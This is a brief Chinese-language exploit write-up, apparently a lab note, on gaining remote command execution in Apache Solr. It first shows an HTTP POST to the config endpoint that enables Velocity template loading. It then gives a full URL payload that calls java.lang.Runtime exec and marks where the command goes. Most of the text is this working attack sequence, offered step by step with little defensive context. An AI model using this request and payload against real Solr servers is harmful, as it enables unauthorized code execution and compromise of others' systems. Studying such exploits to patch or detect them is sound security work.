Apache Solr是一个企业级搜索平台,用Java编写且开源,基于Apache Lucene项目。
params.resource.loader.enabled是用来控制是否允许用户在http请求中使用指定模板,但是这个选项默认是false,所以我们需要将他设置为true。
可以看到在未设置前,params.resource.loader.enabled是false。
接下来就是将params.resource.loader.enabled选项设置为true
POST /solr/demo/config HTTP/1.1
Host: IP:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
设置后我看再访问IP:8983/solr/demo/config
可以看到选项变为true。
这一步后可以看到在/var/solr/data/demo/conf
多出了一个configoverlay.json
文件
注入 Velocity 模板即可执行任意命令
Payload
http://ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
命令就在exec('ls')
处
Q.E.D.